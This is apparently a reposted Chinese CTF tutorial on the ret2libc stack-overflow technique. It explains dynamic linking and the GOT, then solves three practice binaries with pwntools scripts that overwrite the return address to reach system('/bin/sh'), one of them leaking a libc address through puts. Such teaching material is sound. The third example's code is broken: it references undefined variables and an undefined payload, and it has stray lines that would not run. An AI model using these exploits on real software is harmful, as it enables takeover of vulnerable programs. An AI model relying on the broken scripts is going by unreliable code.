pwn小白入门06--ret2libc

这篇具有很好参考价值的文章主要介绍了pwn小白入门06--ret2libc。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

概述:

前文介绍了ROP的基本原理,但前面的方法有一些局限性,一旦目标程序调用的函数较少,或者使用动态编译,就会导致我们可以利用的gadget变少,从而无法达到利用效果。为了解决这种问题,我们可以选择使用ROP的方式,到动态链接库里面寻找gadget。即ret2libc。

静态链接和动态链接:

链接:程序经过预处理,编译,汇编,链接之后可以生成可执行文件,链接可以将多个汇编之后的程序拼在一起。也可以链接函数库,库是一种软件组件技术,库里面封装了数据和函数,比如常用的printf,get函数。链接包含函数库,可以方便代码的复用,避免重复造轮子。

静态链接:

前面的所讲的ret2syscall所利用的二进制程序就是经过静态链接得到的。静态链接就是将整个库直接链接到程序中,一般这样的程序占用空间会比较大,并且会有很多不会用到的函数。

动态链接:

随着系统中可执行文件的增加,静态链接所带来的磁盘和内存空间浪费问题愈发严重。例如大部分可执行文件都需要glibc,那么在静态链接的时候就需要把libc.a和编写的代码链接进去,单个libc.a的大小为5M左右,那么1000个就是5G。如果两个静态链接的可执行文件都包含testLib.o,那么在装载入内存时,两个相同的库也会被装载进去,造成内存空间的浪费。静态链接另一个明显的缺点就是,如果对标准函数哪怕做了一点很微小的改动,都需要重新编译整个源文件,使得开发和维护很艰难。
如果不把系统库和自己编写的代码链接到一个可执行文件,而是分割成两个独立的模块,等到程序真正运行时,再把这两个模块进行链接,就可以节省硬盘空间,并且内存中的一个系统库可以被多个程序共同使用,还节省了物理内存空间。这种在运行或加载时,在内存中完成链接的过程叫做动态链接,这些用于动态链接的系统库称为共享库,或者共享对象,整个过程由动态链接器完成。
Linux下动态库文件的文件名形如 libxxx.so,其中so是 Shared Object 的缩写,即可以共享的目标文件。

PLT&GOT表以及延迟绑定机制:

yichen大佬的文章,写的非常详细:地址
视频讲解

参考资料:《程序员的自我修养-链接、装载与库》

利用方式:

下面我们将使用三个例题从易到难来讲解ret2libc的利用方式:

难度一:

例题初探:

程序中存在system函数和/bin/sh字符串,但与ret2text不同的是,此时的system函数的参数并不是/bin/sh,而是一个奇怪字符:
pwn小白入门06--ret2libc

并且/bin/sh所在的位置为:
pwn小白入门06--ret2libc
如果我们单纯的将返回地址覆盖为system的地址,程序就会执行system(“shell!?”),但是shell!?并不是一个系统命令,此时程序执行会产生错误,就相当于我们直接在命令行敲shell!?,系统会提示找不到命令,但如果敲/bin/sh就会返回一个真正的shell。如果我们要想利用system函数并且让程序返回一个shell,那么我们就必须要让system函数的参数变为/bin/sh。

那么如何让system的参数变成/bin/sh?

首先回顾一下汇编调用过程:汇编调用函数过程中会首先将参数压栈,然后返回地址压栈,然后是ebp的地址。
pwn小白入门06--ret2libc
当程序调用system函数时,会自动去寻找栈底即ebp指向的位置,然后将ebp+8字节的位置的数据当作函数的参数,所以如果我们想将/bin/sh作为system函数的参数,就可以在栈溢出的时候,先修改eip为system函数的地址,然后填充4个字节的垃圾数据,再将/bin/sh的地址写入栈上,这样调用system函数的时候,就可以将/bin/sh作为参数,然后返回一个shell。
pwn小白入门06--ret2libc
注意: 为什么是在eip(即system函数地址)后面覆盖4个字节垃圾数据而不是前面提到的8个字节,这是因为当我们调用system函数的时候,在system函数中会首先执行push ebp指令,将4字节的ebp地址压入栈中,而此时的栈底距离我们的参数/bin/sh正好8字节,所以我们应该填充4字节垃圾数据。

完整利用过程:

首先checksec:

pwn小白入门06--ret2libc

32位程序,无canary,无pie。

32位ida pro打开:

pwn小白入门06--ret2libc
明显的栈溢出漏洞。
pwn小白入门06--ret2libc
存在system函数,地址为:
pwn小白入门06--ret2libc
/bin/sh地址为:
pwn小白入门06--ret2libc

然后动态调试确定栈溢出大小:
pwn小白入门06--ret2libc
脚本如下:

from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt,'b'*4,binsh_addr])
sh.sendline(payload)

sh.interactive()

难度二:

例题初探:

pwn小白入门06--ret2libc

可以看到存在明显的栈溢出漏洞。在secure函数里发现存在system函数:
pwn小白入门06--ret2libc
按shift+f12查看字符串发现并没有“/bin/sh”,所以我们需要自己写入一个/bin/sh作为system函数的参数,才能让程序执行system(’/bin/sh’),从而控制掉程序。
pwn小白入门06--ret2libc

如何写入/bin/sh字符串并找到字符串的位置?

目前程序中有一个gets函数可以让我们利用,我们可以首先通过栈溢出,将程序的返回地址覆盖为gets函数的地址,然后再将bss段的地址作为函数的参数,这样就可以将‘/bin/sh’写入到bss段。(为什么选择bss段,而不是直接将/bin/sh写入到栈上,因为栈在执行的过程中他的地址是不确定的,如果将/bin/sh写入到栈上,当我们调用system函数的时候需要将/bin/sh的地址作为函数的参数,但此时我们无法确定栈的地址;但如果我们将/bin/sh写到bss段,当程序没有开启PIE保护时,bss的地址是不变的,并且bss段是可写的。)
然后,我们再把通过栈溢出调用的gets函数的返回地址覆盖为system函数的地址,并且函数的参数为我们刚才的写入到bss段的‘/bin/sh’字符串的地址。
综上所述,我们的payload应该在执行完之后将栈覆盖成如下形式:
pwn小白入门06--ret2libc
其中,第一个buf2是gets函数的参数,此时我们要往这个地址里面写入/bin/sh,第二个buf2是system函数的参数,此时我们要读取此处的/bin/sh字符串。

完整过程:

首先checksec:

pwn小白入门06--ret2libc
32位程序,没有canary,没有pie,很轻松可以完成栈溢出。

然后ida打开:

pwn小白入门06--ret2libc
gets函数,明显的栈溢出。
pwn小白入门06--ret2libc
secure函数里调用了system函数,但没有/bin/sh字符串,需要我们自己写,前面已经讨论过方法。
寻找system函数的plt地址为:0x08048490
pwn小白入门06--ret2libc
gets函数的plt地址为:0x08048460
pwn小白入门06--ret2libc
我们需要写入的bss段的地址为:0x804a080
pwn小白入门06--ret2libc

动态调试:

确定的栈溢出所需的字节为112:
pwn小白入门06--ret2libc

构造payload并写出脚本:
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080
payload = flat(
    ['a' * 112, gets_plt, system_plt, buf2, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
              

难度三:

例题初探:

pwn小白入门06--ret2libc
存在栈溢出。
pwn小白入门06--ret2libc
没有system函数。
pwn小白入门06--ret2libc
没有/bin/sh字符串。
/bin/sh字符串我们可以用前面的方法写入,但system函数是无法写入的。所以我们换了一种方法,在linux延迟绑定机制中,当程序调用库函数时,会将libc.so文件中的函数地址写到程序的got表中,调用时会跳转到got表所写的地址。那么我们如果要调用system函数,就要知道他的got表中的地址,got表中的地址指的就是当系统将libc(动态链接库)加载到内存中时,库中的函数的地址。但libc被加载到的内存的位置是随机的,我们无从得知。
但是,同一版本的libc的两个库函数在libc中的相对位置是不变的,所以如果我们可以知道一个已经执行过的函数的got表地址,然后确定libc的版本,就可以加上和system函数的偏移,从而得到system函数的真实地址,即got表地址。
碰巧的是,我们拥有一个puts函数,我们可以用puts函数,将一个已经执行过的函数的got表地址打印出来,然后再根据地址获取libc版本,确定偏移,得到真实地址;并且,在libc中,存在着system函数和/bin/sh字符串,所以我们只需要考虑如何得到一个执行过的函数的真实地址即可,并不需要考虑如何写入/bin/sh字符串。
pwn小白入门06--ret2libc

如何获取真实地址:

经过前面的讨论,我们需要通过栈溢出利用puts函数,打印puts函数的got表中的地址,然后获取偏移,得到system函数和/bin/sh字符串的地址,将puts函数的地址覆盖为system函数的地址。除了获取gots表中的地址之外,其他步骤都与前面的例题二类似。
根据函数的真实地址查找偏移的可以去下面的网站:
https://libc.nullbyte.cat/
https://libc.blukat.me/
因为我们需要中途暂停程序去获取偏移,所以我们可以构造两个payload,第一个payload用于溢出利用puts函数打印出真实地址,然后程序等待我们的输入,第二个payload用于获取我们输入的system函数和/bin/sh的地址,然后进行利用,得到shell。
payload如下:
pwn小白入门06--ret2libc

完整过程:

首先checksec:

pwn小白入门06--ret2libc
32位程序,没有canary,PIE保护。

ida打开:

pwn小白入门06--ret2libc
pwn小白入门06--ret2libc
pwn小白入门06--ret2libc
没有system函数,没有/bin/sh字符串。

动态调试:

pwn小白入门06--ret2libc
栈大小为112。

构造payload并写出脚本:

脚本1,用于泄露puts函数的真实地址,即got表地址。

#!/usr/bin/env python
from pwn import *

elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#获取_start函数的地址是为了方便一会返回到此处,进行第二次栈溢出。
payload1='A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
print("puts addr = ", hex(puts_addr))
#打印出puts函数的真实地址。
p.interactive()

运行上面的代码之后就可以得到puts函数的真实地址,然后去libcsearch的网站查询之后,可得到puts函数,system函数,/bin/sh字符串对应的偏移地址。
pwn小白入门06--ret2libc
知道了puts函数的真实地址和偏移之后,就可以将puts函数的真实地址减去偏移地址,得到libc的基址,将libc的基址分别与system,/bin/sh字符串的偏移相加,就可以得到对应的真实地址,然后就可以构造payload2了。文章来源地址https://www.toymoban.com/news/detail-427959.html

from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']

print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))


p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])
print("puts_addr = ",hex(puts_addr))
sys_offset = 0x03cd10
puts_offset = 0x067360
sh_offset = 0x17b8cf

#根据公式  libc基地址  +  函数偏移量   =  函数真实地址   来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址

print("libc_base_addr = ",hex(libc_base_addr))
print("sys_addr = ",hex(sys_addr))
print("sh_addr = ",hex(sh_addr))

payload2 = flat(['A'*112, p32(sys_addr), "AAAA", p32(sh_addr)]) #system函数参数

p32(sys_addr) #覆盖返回地址为system函数
 "AAAA"  #system的返回地址,随便输,因为之前调用了system('/bin/sh')
p32(sh_addr)]) #system函数参数

p.sendline(payload2)
p.interactive()

到了这里,关于pwn小白入门06--ret2libc的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 字符串溢出(pwn溢出)--ret2shellcode

    有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录 pwn溢出入门案例, 信息安全 https://saucer-man.com/information_security/177.html 这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,

    2024年02月02日
    浏览(31)
  • kernel-pwn之ret2dir利用技巧

    ret2dir 是2014年在USENIX发表的一篇论文,该论文提出针对 ret2usr 提出的 SMEP 、 SMAP 等保护的绕过。全称为 return-to-direct-mapped memory ,返回直接映射的内存。 在 SMEP 与 SMAP 等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是 ret2usr ,如下图所示(图片来自论文)。

    2024年02月16日
    浏览(25)
  • 【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

    第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单 目录 前言 一、整数溢出 二、解题思路 1.ELF/checksec查看保护 2.IDA反汇编 3.整数溢出  4.exp编写 总结 整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。 如果一个整数用来计算

    2024年02月06日
    浏览(35)
  • CTF学习笔记——ret2text

    ret2text 应该算是PWN里面比较简单的题型了,这种题型有个显著特征,就是会有个很明显的后门函数,也就是 system(\\\"/bin/sh\\\") ,我们只需要将我们的程序跳转到后门函数即可。不过我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是

    2024年02月04日
    浏览(29)
  • CTFshow-pwn入门-前置基础pwn32-pwn34

    FORTIFY_SOURCE(源码增强),这个其实有点类似与Windows中用新版Visual Studio进行开发的时候,当你用一些危险函数比如strcpy、sprintf、strcat,编译器会提示你用xx_s加强版函数。 FORTIFY_SOURCE本质上一种检查和替换机制,对GCC和glibc的一个安全补丁。 目前支持memcpy, memmove, memset, strcpy, s

    2024年02月09日
    浏览(23)
  • 攻防世界hello pwn WP(pwn入门基础题)

    题目网址: 攻防世界 下载文件,文件名太长了把文件改名为pwn 把pwn文件放入kali里面 file一下查看文件类型 发现是一个64位的elf文件,加个运行权限,运行一下看看  使用 checksec 检查保护 发现只开了 NX 保护。 把pwn放入64位IDA中,F5反汇编一下main函数 得到main函数伪代码 点击

    2024年02月10日
    浏览(33)
  • CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

    首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。 我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀! 根据题目的提示,我们

    2024年02月13日
    浏览(30)
  • 2022CTF培训(九)MIPS PWN环境搭建&MIPS PWN入门

    附件下载链接 在 ARM PWN 环境搭建 的基础上,首先安装具备MIPS交叉编译gcc与MIPS程序动态链接库: 然后就可以正常运行 将 mipsel 添加到 qqemu-binfmt,这样 linux 可以根据文件头找相应的程序运行: 栈溢出 分析汇编可知,返回值存储在 $sp + 0x3C 处,而 buf 起始位置在 $sp + 0x18 处,

    2024年02月11日
    浏览(37)
  • musl pwn 入门 (1)

    近年来,musl libc作为一个轻量级的libc越来越多地出现在CTF pwn题之中,其和glibc相比有一定的差距,因此本文我们就musl libc最常考的考点——内存分配,进行musl libc的源代码审计。 不同于glibc多达四五千行代码,大小超过10w字节的malloc.c,musl libc中的malloc.c大小甚至都不到1w字节

    2023年04月25日
    浏览(21)
  • Kernel pwn 入门 (3)

    这是一种绕过SMAP/SMEP和PXN防护的攻击方式。利用内核空间的direct mapping area(起始位置为0xFFF8880000000000)。Linux对内存的访问采用的是多级页表的方式,将某段物理内存映射到程序的虚拟内存空间中的某段地址。而在Linux内核空间中,还存在着direct mapping area这块区域,对于物理

    2024年02月06日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包